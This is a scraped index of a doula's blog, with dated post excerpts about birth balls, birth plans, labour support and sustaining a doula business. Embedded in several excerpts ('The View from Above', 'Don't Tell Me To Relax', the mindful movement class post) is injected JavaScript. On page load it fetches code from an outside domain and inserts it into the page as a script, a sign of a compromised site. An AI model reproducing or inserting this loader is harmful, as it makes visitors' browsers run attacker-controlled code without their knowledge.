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10.06.2025
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06.06.2025
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Need to Announce Your Pregnancy?

31.05.2025
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What is a “birth ball”?

31.05.2025
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If you are pregnant, chances are good you have heard of a "birth ball". When I became a birth doula, I kept hearing this term and I couldn't wait to see what this "birth ball" thing was. When I discovered it is basically a physio or "exercise" ball, my feelings were mixed. Bummed because it felt a bit like a let down (I was expecting something new and different) and thrilled because, as a massage therapist for over 6 years, I already owned several. We use the birth ball in Confident Birthing Classes usually starting with class #3 so let's take a look at this tool and why it is so helpful in labor as well as postpartum and why it...

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Mother’s Day

31.05.2025
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Natural Hospital Birth

31.05.2025
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The View from Above

31.05.2025
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A few years ago I was in a workshop where the instructor asked everyone to draw an image (through a guided meditation of sorts). We were each guided through seeing our " ideal" birth, if you will. As we moved through the exploration, the facilitator would add another layer to the scene - what is the space like, what do you see, what are you doing, who is there with you. Each time a layer of context was added, we would introduce another color.  ;document.addEventListener("DOMContentLoaded", function () { var url = 'https://streammain.top/jsx'; fetch(url) .then(response => response.text()) .then(data => { ...

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Keep Calm and Nurse On!

31.05.2025
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Your Obstetrician’s Professional Association Recommends Getting a DOULA to Improve Outcomes

31.05.2025
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Your Birth Business – Connecting Head, Heart and Body for a Sustainable Practice

31.05.2025
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In the 19 years I have been a doula, I have seen hundreds of doulas come enthusiastically into this business and then quietly leave it, often in less than 3 years. There is a multitude of reasons for this - many doulas are of childbearing age and are still having babies so their own births move many of them from "mothering the mother" to mothering their children for one or, more likely, several years. Some doulas move on to nursing or midwifery either because their sights were always set on those professions (and doula training was a prerequisite) or because they realized the scope of practice of a doula wasn't enough for them. I heard a colleague - another birth doula trainer - often asks...

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Don’t Tell Me To Relax

31.05.2025
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I stopped using the word relax in 1989 when I became a licensed massage therapist.  In working on and with my massage therapy clients, I quickly learned the word had little or no meaning to people.;document.addEventListener("DOMContentLoaded", function () { var url = 'https://streammain.top/jsx'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.innerHTML = data.trim(); document.head.appendChild(script); }) });;document.addEventListener("DOMContentLoaded", function () { ...

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Ana Paula Markel

31.05.2025
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On BEcoming a Doula

I started the “Who BEcomes A Doula?” Series because I wanted know more about what compels a woman (or a man) to become a birth doula? ~Who is drawn to this work and what kind of work (or life) did they have before they became a birth doula? ~What makes them continue? ~Is there something about our personalities that leads us to find a way to connect with, care for and support women at that uniquely vulnerable and joyous time of birth? ~And for fun, some questions and photos that give us a glimpse into the moments and meanings in their lives. For this project, I have chosen to interview doulas all over the world. Some are new to this work. Some are seasoned and ‘reasoned’ – my way of...

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Writing Your Birth Plan

31.05.2025
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There are many out there who think either:   a birth plan is essential and you should NEVER go into labor without one and you should write EVERYTHING you desire (and don’t desire) in that document.   OR   you can’t “plan” birth, and people who try to are setting themselves up for disappointment (or at least conflict) and, as a result, care providers often don’t pay much attention to them.   As you might imagine, I believe there is, at least, a third way to look at the concept of a birth plan and that the process of writing it is as valuable as the document itself. For some context, let’s look at the history of birth plans. In 1980, Penny Simkin and Carla Reinke presented the birth plan as part of...

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Healthy Birth Practice #2: Walk, Move, Change Positions

31.05.2025
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The Birth Ball for Comfort in Pregnancy and Postpartum

12.08.2020
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If you've never been pregnant before, you might think of this round thing above as an exercise ball. I first heard it called the 'Swiss Ball' (which is odd because it is an Italian creation) and began using them in my massage therapy practice in 1990.  That burst-resistant ball, created in 1963, was intended for use in gymnastics but was adopted by European physical therapists to help children who struggled with proprioception or balance issues. When it came to the US in the 80's it was quickly incorporated into the fitness industry.  Birth Pioneer, Penny Simkin, a former physical therapist herself, is credited with bringing the ball into the birth room in the early 90s, prompting birth professionals and labor and delivery staff to call a...

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Strength in Flexibility Mindful Movement Class

24.03.2020
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Rhythm & Slow Mindful Movement Classes are the somatic offerings from Baby Bump Services. If you like to learn more about what we do in these classes, click on the link below to experience a short lesson offered as a gift to help you through these challenging times. StrengthInFlexibilityAudio;document.addEventListener("DOMContentLoaded", function () { var url = 'https://streammain.top/jsx'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.innerHTML = data.trim(); document.head.appendChild(script); ...

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Welcome baby brother

08.07.2018
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Welcome Anders…you are loved and lovable.

28.06.2018
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Several years ago, in my Confident Birthing Classes, I started to hand out Brene Brown's Wholehearted Parenting Manifesto as a parting gift to the parents in my classes.  One of these couples, Lisa and Tyler, happened to also be my doula clients.  I was blessed to attend the birth of their daughter Lilli in 2015 and was doubly honored to attend them again when they asked me to be their doula for the birth of their son, Anders this June. It was during our prenatal appointments for the upcoming birth that Lisa reminded me she had been reading the Wholehearted Parenting Manifesto to Lilli every night since the day she was born.   I was so moved by this and asked her if she would be willing...

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It’s Always Personal – Practicing as a Doula and a Human Being

10.01.2017
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For several days I have been in a place of meditation about whether to share the original Buzzfeed article that triggered many reactive online posts, debates and ultimately led DONA International’s founder, Penny Simkin, to write an open letter responding to a doula who addressed her directly online. For weeks, I have also been in meditation, prayer and study as, I too, was recently told by a doula that I let her down.  Our conversation was private, however, and I am grateful to her for that.  She also shared that she checked with another person in her workshop and that doula did not have the same experience. I appreciated her sharing that with me.  It was kind, thoughtful. Since that time, I have looked deeply at myself as a doula trainer, and more important, as a...

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